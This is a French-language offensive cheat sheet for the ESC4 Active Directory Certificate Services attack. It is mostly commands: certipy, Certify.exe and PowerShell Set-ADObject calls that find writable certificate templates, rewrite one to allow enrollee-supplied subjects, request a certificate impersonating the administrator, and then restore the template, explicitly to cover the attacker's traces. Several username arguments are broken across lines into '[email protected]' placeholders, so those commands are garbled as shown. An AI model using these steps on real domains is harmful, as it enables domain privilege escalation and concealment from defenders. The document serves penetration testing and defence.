### Description
ESC4 exploite des permissions trop permissives sur les modèles de certificats, permettant à un utilisateur d'écrire ou de modifier un modèle existant pour le rendre vulnérable (par exemple, pour créer une condition ESC1 ou ESC2 artificielle).
### Conditions vulnérables
Un modèle de certificat est vulnérable à ESC4 si :
1. **Permissions d'écriture accordées** - L'utilisateur a les droits `WriteProperty`, `WriteOwner`, `WriteDacl`, ou `FullControl`
2. **Template modifiable** - Le modèle peut être modifié pour devenir exploitable
3. **Enrollment possible** - L'utilisateur peut ensuite utiliser le modèle modifié via les droits `Enroll`
4. **Restauration possible** - L'attaquant peut potentiellement restaurer la configuration originale pour masquer ses traces
---
### Exploitation depuis linux (certipy)
Enumération des templates vulnérables :
```bash
certipy find -u
[email protected] -p password -target dc01.domain.local
# Énumération avec sortie JSON pour analyse détaillée des permissions
certipy find -u
[email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json
# Recherche spécifique des permissions d'écriture
certipy find -u
[email protected] -p password -target dc01.domain.local -vulnerable | grep -A10 -B5 "WriteProperty\|WriteOwner\|WriteDacl"
```
Modification du template pour le rendre exploitable :
```bash
# Sauvegarde de la configuration originale
certipy template -u
[email protected] -p password -target dc01.domain.local -template 'VulnerableTemplate' -save-old
# Modification du template pour activer ESC1
certipy template -u
[email protected] -p password -target dc01.domain.local -template 'VulnerableTemplate' -enable-enrollee-supplies-subject
```
Exploitation du template modifié :
```bash
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'VulnerableTemplate' -upn
[email protected]
```
Restauration du template :
```bash
certipy template -u
[email protected] -p password -target dc01.domain.local -template 'VulnerableTemplate' -configuration saved_config.json
```
---
### Exploitation depuis windows (certify.exe + PowerShell)
Enumération des templates vulnérables :
```powershell
# Énumération des modèles vulnérables
Certify.exe find /vulnerable
# Recherche spécifique des permissions d'écriture
Certify.exe find /vulnerable | findstr "WriteProperty\|WriteOwner\|WriteDacl\|FullControl"
```
Modification du template via PowerShell :
```powershell
# Import du module Active Directory
Import-Module ActiveDirectory
# Sauvegarde de la configuration originale
$template = Get-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Properties *
$template | Export-Clixml -Path "template_backup.xml"
# Modification pour activer ESC1
Set-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Replace @{'msPKI-Certificate-Name-Flag'=1}
```
Faire la demande de certificat :
```powershell
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:VulnerableTemplate /subject:"CN=administrator,CN=Users,DC=domain,DC=local"
```
Restauration du template :
```powershell
$originalTemplate = Import-Clixml -Path "template_backup.xml"
Set-ADObject -Identity "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Replace @{'msPKI-Certificate-Name-Flag'=$originalTemplate.'msPKI-Certificate-Name-Flag'}
```